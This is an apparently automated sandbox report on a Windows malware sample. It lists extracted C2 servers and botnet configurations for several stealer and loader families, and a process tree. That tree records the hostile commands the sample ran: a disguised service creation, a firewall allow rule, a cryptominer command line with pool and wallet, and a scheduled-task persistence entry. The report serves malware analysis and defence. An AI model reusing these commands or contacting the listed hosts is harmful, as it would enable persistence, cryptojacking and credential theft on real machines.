Analysis

  • max time kernel
    155s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    26/11/2021, 19:14

General

  • Target
    68b4dcc4eaf74f09528b92708b1b6c15.exe
  • Size 147KB
  • Sample211126-xxmkfsecaq
  • SHA256 a11c01f16871a5f5edcceeb3bb4e86d100e43652104a3b29dcd471c131a589cf
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://nalirou70.top/

  • http://xacokuo80.top/

rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • quadoil.ru

  • lakeflex.ru

Extracted

Family
  • redline

C2
  • 185.159.80.90:38655

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • raccoon

Version
  • 1.8.3-hotfix

Botnet
  • c5dde00a0ce162508bf7358fade224b1c1bd5f5f

Attributes
  • url4cnc

    http://91.219.236.27/zondaf1zuzya

    http://5.181.156.92/zondaf1zuzya

    http://91.219.236.207/zondaf1zuzya

    http://185.225.19.18/zondaf1zuzya

    http://91.219.237.227/zondaf1zuzya

    http://185.163.47.176/zondaf1zuzya

    https://t.me/zondaf1zuzya

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • cheat

C2
  • 95.181.152.177:21142

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 10 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

    suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 28 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\68b4dcc4eaf74f09528b92708b1b6c15.exe
    "C:\Users\Admin\AppData\Local\Temp\68b4dcc4eaf74f09528b92708b1b6c15.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Users\Admin\AppData\Local\Temp\68b4dcc4eaf74f09528b92708b1b6c15.exe
      "C:\Users\Admin\AppData\Local\Temp\68b4dcc4eaf74f09528b92708b1b6c15.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3900
  • C:\Users\Admin\AppData\Local\Temp\3228.exe
    C:\Users\Admin\AppData\Local\Temp\3228.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4632
    • C:\Users\Admin\AppData\Local\Temp\3228.exe
      C:\Users\Admin\AppData\Local\Temp\3228.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:4548
  • C:\Users\Admin\AppData\Local\Temp\3640.exe
    C:\Users\Admin\AppData\Local\Temp\3640.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4600
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ttcnklfi\
      2⤵
        PID:1304
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bqrxkvpo.exe" C:\Windows\SysWOW64\ttcnklfi\
        2⤵
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ttcnklfi binPath= "C:\Windows\SysWOW64\ttcnklfi\bqrxkvpo.exe /d\"C:\Users\Admin\AppData\Local\Temp\3640.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2192
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ttcnklfi "wifi internet conection"
            2⤵
              PID:2592
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ttcnklfi
              2⤵
                PID:2892
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4700
              • C:\Users\Admin\AppData\Local\Temp\39CB.exe
                C:\Users\Admin\AppData\Local\Temp\39CB.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3744
                • C:\Users\Admin\AppData\Local\Temp\39CB.exe
                  C:\Users\Admin\AppData\Local\Temp\39CB.exe
                  2⤵
                  • Executes dropped EXE
                  PID:5060
              • C:\Users\Admin\AppData\Local\Temp\414E.exe
                C:\Users\Admin\AppData\Local\Temp\414E.exe
                1⤵
                • Executes dropped EXE
                PID:996
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 996 -s 492
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1564
              • C:\Windows\SysWOW64\ttcnklfi\bqrxkvpo.exe
                C:\Windows\SysWOW64\ttcnklfi\bqrxkvpo.exe /d"C:\Users\Admin\AppData\Local\Temp\3640.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4324
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3488
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3880
              • C:\Users\Admin\AppData\Local\Temp\972F.exe
                C:\Users\Admin\AppData\Local\Temp\972F.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:4220
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\972F.exe" & exit
                  2⤵
                    PID:2576
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:4292
                • C:\Users\Admin\AppData\Local\Temp\9BE3.exe
                  C:\Users\Admin\AppData\Local\Temp\9BE3.exe
                  1⤵
                  • Executes dropped EXE
                  PID:4420
                  • C:\Users\Admin\AppData\Local\Temp\1616.exe
                    "C:\Users\Admin\AppData\Local\Temp\1616.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:2188
                    • C:\Users\Admin\AppData\Local\Temp\1616.exe
                      C:\Users\Admin\AppData\Local\Temp\1616.exe
                      3⤵
                      • Executes dropped EXE
                      PID:3300
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3300 -s 848
                        4⤵
                        • Suspicious use of NtCreateProcessExOtherParentProcess
                        • Program crash
                        PID:1912
                  • C:\Users\Admin\AppData\Local\Temp\FinderFile_2021-11-25_16-07.exe
                    "C:\Users\Admin\AppData\Local\Temp\FinderFile_2021-11-25_16-07.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:2584
                  • C:\Users\Admin\AppData\Local\Temp\NortonSecurity.exe
                    "C:\Users\Admin\AppData\Local\Temp\NortonSecurity.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:2820
                  • C:\Users\Admin\AppData\Local\Temp\QfseWnwbRox1BnG.exe
                    "C:\Users\Admin\AppData\Local\Temp\QfseWnwbRox1BnG.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:848
                    • C:\Users\Admin\AppData\Local\Temp\QfseWnwbRox1BnG.exe
                      "{path}"
                      3⤵
                      • Executes dropped EXE
                      PID:4556
                • C:\Users\Admin\AppData\Local\Temp\A1EF.exe
                  C:\Users\Admin\AppData\Local\Temp\A1EF.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:684
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    #cmd
                    2⤵
                    • Checks processor information in registry
                    PID:3036
                    • C:\Users\Admin\AppData\Roaming\Oxygen.exe
                      "C:\Users\Admin\AppData\Roaming\Oxygen.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:4684
                      • C:\Users\Admin\AppData\Roaming\ChromeUpdater_Master.exe
                        "C:\Users\Admin\AppData\Roaming\ChromeUpdater_Master.exe"
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        PID:1028
                        • C:\Users\Admin\AppData\Roaming\UniversalSoftware\62DBBB47F175E43FE020AECCC7DCCC79.exe
                          "C:\Users\Admin\AppData\Roaming\UniversalSoftware\62DBBB47F175E43FE020AECCC7DCCC79.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:2192
                        • C:\Users\Admin\AppData\Roaming\UniversalSoftware\B2342A85F77B8E254BF882E15921E911.exe
                          "C:\Users\Admin\AppData\Roaming\UniversalSoftware\B2342A85F77B8E254BF882E15921E911.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:4908
                        • C:\Users\Admin\AppData\Roaming\UniversalSoftware\5835F27E062417D3C161E0F9734AEEFB.exe
                          "C:\Users\Admin\AppData\Roaming\UniversalSoftware\5835F27E062417D3C161E0F9734AEEFB.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:4144
                        • C:\Users\Admin\AppData\Roaming\UniversalSoftware\2D62E212E80CD97D781296C2D1FA7227.exe
                          "C:\Users\Admin\AppData\Roaming\UniversalSoftware\2D62E212E80CD97D781296C2D1FA7227.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:4264
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4264 -s 316
                            6⤵
                            • Program crash
                            PID:2856
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tb0ws5ns.cdv.bat" "
                        4⤵
                          PID:5004
                      • C:\Users\Admin\AppData\Roaming\Kene.exe
                        "C:\Users\Admin\AppData\Roaming\Kene.exe"
                        3⤵
                        • Executes dropped EXE
                        PID:2588
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /tn MicrosoftDriver /sc MINUTE /tr C:\Users\Admin\AppData\Local./cache./driver.exe
                          4⤵
                          • Creates scheduled task(s)
                          PID:3576
                      • C:\Users\Admin\AppData\Roaming\Kdjsdjs.exe
                        "C:\Users\Admin\AppData\Roaming\Kdjsdjs.exe"
                        3⤵
                        • Executes dropped EXE
                        PID:2744
                  • C:\Users\Admin\AppData\Local\Temp\A5E8.exe
                    C:\Users\Admin\AppData\Local\Temp\A5E8.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:4172
                  • C:\Windows\system32\regsvr32.exe
                    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\AA5D.dll
                    1⤵
                    • Loads dropped DLL
                    PID:1976
                  • C:\Users\Admin\AppData\Local\Temp\B52C.exe
                    C:\Users\Admin\AppData\Local\Temp\B52C.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1872
                  • C:\Users\Admin\AppData\Local\Temp\C20E.exe
                    C:\Users\Admin\AppData\Local\Temp\C20E.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3016
                  • C:\Users\Admin\AppData\Local\Temp\D103.exe
                    C:\Users\Admin\AppData\Local\Temp\D103.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    PID:1952
                  • C:\Windows\System32\rundll32.exe
                    C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\AA5D.dll,DllRegisterServer {486B49CD-921F-4338-9F4C-79BFE1D9A787}
                    1⤵
                    • Loads dropped DLL
                    PID:4504

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        memory/684-212-0x0000000002D70000-0x0000000002D72000-memory.dmp

                        memory/684-240-0x000000001D3F0000-0x000000001D3F1000-memory.dmp

                        memory/684-199-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

                        memory/684-246-0x00000000013E0000-0x00000000013E1000-memory.dmp

                        memory/996-143-0x0000000000570000-0x00000000006BA000-memory.dmp

                        memory/996-142-0x0000000000550000-0x0000000000559000-memory.dmp

                        memory/996-144-0x0000000000400000-0x000000000042C000-memory.dmp

                        memory/1872-236-0x0000000074DF0000-0x0000000074EE1000-memory.dmp

                        memory/1872-251-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

                        memory/1872-250-0x00000000731F0000-0x000000007323B000-memory.dmp

                        memory/1872-248-0x0000000075830000-0x0000000076B78000-memory.dmp

                        memory/1872-247-0x0000000074EF0000-0x0000000075474000-memory.dmp

                        memory/1872-243-0x0000000000790000-0x0000000000791000-memory.dmp

                        memory/1872-239-0x0000000071310000-0x0000000071390000-memory.dmp

                        memory/1872-237-0x0000000000F90000-0x0000000000F91000-memory.dmp

                        memory/1872-235-0x0000000076CD0000-0x0000000076E92000-memory.dmp

                        memory/1872-234-0x00000000005C0000-0x00000000005C1000-memory.dmp

                        memory/1872-233-0x0000000000F90000-0x00000000010F0000-memory.dmp

                        memory/1872-231-0x0000000000C00000-0x0000000000D4A000-memory.dmp

                        memory/1952-308-0x0000000006550000-0x0000000006551000-memory.dmp

                        memory/1952-314-0x00000000026A0000-0x00000000026A1000-memory.dmp

                        memory/1952-292-0x0000000002860000-0x0000000002861000-memory.dmp

                        memory/1952-318-0x00000000026E0000-0x00000000026E1000-memory.dmp

                        memory/1952-285-0x00000000027F0000-0x00000000027F1000-memory.dmp

                        memory/1952-315-0x0000000002530000-0x0000000002531000-memory.dmp

                        memory/1952-294-0x00000000028D0000-0x00000000028D1000-memory.dmp

                        memory/1952-317-0x00000000026C0000-0x00000000026C1000-memory.dmp

                        memory/1952-288-0x00000000028B0000-0x00000000028B1000-memory.dmp

                        memory/1952-283-0x00000000028A0000-0x00000000028A1000-memory.dmp

                        memory/1952-296-0x0000000002890000-0x0000000002891000-memory.dmp

                        memory/1952-287-0x0000000000BA0000-0x0000000000C00000-memory.dmp

                        memory/1952-321-0x0000000002800000-0x0000000002801000-memory.dmp

                        memory/1952-313-0x0000000002690000-0x0000000002691000-memory.dmp

                        memory/1952-322-0x00000000027B0000-0x00000000027B1000-memory.dmp

                        memory/1952-309-0x0000000003580000-0x0000000003581000-memory.dmp

                        memory/1952-312-0x0000000003580000-0x0000000003581000-memory.dmp

                        memory/1952-311-0x0000000003580000-0x0000000003581000-memory.dmp

                        memory/1952-320-0x0000000003580000-0x0000000003581000-memory.dmp

                        memory/1952-306-0x0000000003580000-0x0000000003581000-memory.dmp

                        memory/1952-323-0x0000000002820000-0x0000000002821000-memory.dmp

                        memory/1952-298-0x0000000002880000-0x0000000002881000-memory.dmp

                        memory/1952-316-0x0000000002550000-0x0000000002551000-memory.dmp

                        memory/1952-300-0x00000000028F0000-0x00000000028F1000-memory.dmp

                        memory/1952-325-0x00000000027D0000-0x00000000027D1000-memory.dmp

                        memory/1952-304-0x0000000003590000-0x0000000003591000-memory.dmp

                        memory/1952-324-0x00000000027E0000-0x00000000027E1000-memory.dmp

                        memory/1952-319-0x0000000003580000-0x0000000003581000-memory.dmp

                        memory/1952-302-0x00000000028C0000-0x00000000028C1000-memory.dmp

                        memory/2872-146-0x0000000001F10000-0x0000000001F26000-memory.dmp

                        memory/2872-119-0x00000000001A0000-0x00000000001B6000-memory.dmp

                        memory/3016-257-0x0000000000400000-0x000000000044F000-memory.dmp

                        memory/3016-281-0x0000000002484000-0x0000000002486000-memory.dmp

                        memory/3016-266-0x0000000002483000-0x0000000002484000-memory.dmp

                        memory/3016-263-0x0000000002480000-0x0000000002481000-memory.dmp

                        memory/3016-265-0x0000000002482000-0x0000000002483000-memory.dmp

                        memory/3016-255-0x0000000000680000-0x00000000006AB000-memory.dmp

                        memory/3016-256-0x0000000001F60000-0x0000000001F99000-memory.dmp

                        memory/3036-290-0x00000000047F0000-0x0000000004DF6000-memory.dmp

                        memory/3152-116-0x00000000004E0000-0x000000000062A000-memory.dmp

                        memory/3152-115-0x00000000004C0000-0x00000000004C8000-memory.dmp

                        memory/3488-160-0x0000000000350000-0x0000000000351000-memory.dmp

                        memory/3488-159-0x0000000000350000-0x0000000000351000-memory.dmp

                        memory/3488-157-0x0000000000640000-0x0000000000655000-memory.dmp

                        memory/3744-155-0x0000000005560000-0x0000000005561000-memory.dmp

                        memory/3744-140-0x0000000000980000-0x0000000000981000-memory.dmp

                        memory/3744-154-0x0000000005290000-0x0000000005291000-memory.dmp

                        memory/3744-164-0x0000000005A70000-0x0000000005A71000-memory.dmp

                        memory/3744-150-0x0000000005310000-0x0000000005311000-memory.dmp

                        memory/3880-181-0x0000000000FA0000-0x0000000001091000-memory.dmp

                        memory/3880-176-0x0000000000FA0000-0x0000000001091000-memory.dmp

                        memory/3900-117-0x0000000000400000-0x0000000000408000-memory.dmp

                        memory/4172-216-0x00000000003F0000-0x00000000003F1000-memory.dmp

                        memory/4172-207-0x00000000011B0000-0x000000000130F000-memory.dmp

                        memory/4172-224-0x00000000050D0000-0x00000000050D1000-memory.dmp

                        memory/4172-208-0x00000000003E0000-0x00000000003E1000-memory.dmp

                        memory/4172-215-0x0000000071310000-0x0000000071390000-memory.dmp

                        memory/4172-222-0x0000000074EF0000-0x0000000075474000-memory.dmp

                        memory/4172-211-0x00000000011B0000-0x00000000011B1000-memory.dmp

                        memory/4172-210-0x0000000074DF0000-0x0000000074EE1000-memory.dmp

                        memory/4172-223-0x0000000075830000-0x0000000076B78000-memory.dmp

                        memory/4172-228-0x00000000731F0000-0x000000007323B000-memory.dmp

                        memory/4172-214-0x0000000000FE0000-0x0000000001026000-memory.dmp

                        memory/4172-209-0x0000000076CD0000-0x0000000076E92000-memory.dmp

                        memory/4220-191-0x0000000000400000-0x000000000043B000-memory.dmp

                        memory/4220-190-0x0000000002060000-0x0000000002081000-memory.dmp

                        memory/4220-189-0x0000000000540000-0x000000000068A000-memory.dmp

                        memory/4324-162-0x0000000000570000-0x00000000006BA000-memory.dmp

                        memory/4324-161-0x0000000000570000-0x00000000006BA000-memory.dmp

                        memory/4324-163-0x0000000000400000-0x0000000000435000-memory.dmp

                        memory/4420-192-0x0000000000910000-0x0000000000911000-memory.dmp

                        memory/4600-134-0x0000000000520000-0x000000000066A000-memory.dmp

                        memory/4600-135-0x0000000001F30000-0x0000000001F43000-memory.dmp

                        memory/4600-136-0x0000000000400000-0x0000000000435000-memory.dmp

                        memory/4632-127-0x0000000000430000-0x000000000057A000-memory.dmp

                        memory/4632-126-0x0000000000430000-0x000000000057A000-memory.dmp

                        memory/5060-203-0x0000000006400000-0x0000000006401000-memory.dmp

                        memory/5060-171-0x0000000005B20000-0x0000000005B21000-memory.dmp

                        memory/5060-165-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/5060-175-0x0000000005510000-0x0000000005511000-memory.dmp

                        memory/5060-174-0x0000000005510000-0x0000000005B16000-memory.dmp

                        memory/5060-173-0x0000000005620000-0x0000000005621000-memory.dmp

                        memory/5060-172-0x0000000003030000-0x0000000003031000-memory.dmp

                        memory/5060-201-0x0000000005970000-0x0000000005971000-memory.dmp

                        memory/5060-182-0x0000000005550000-0x0000000005551000-memory.dmp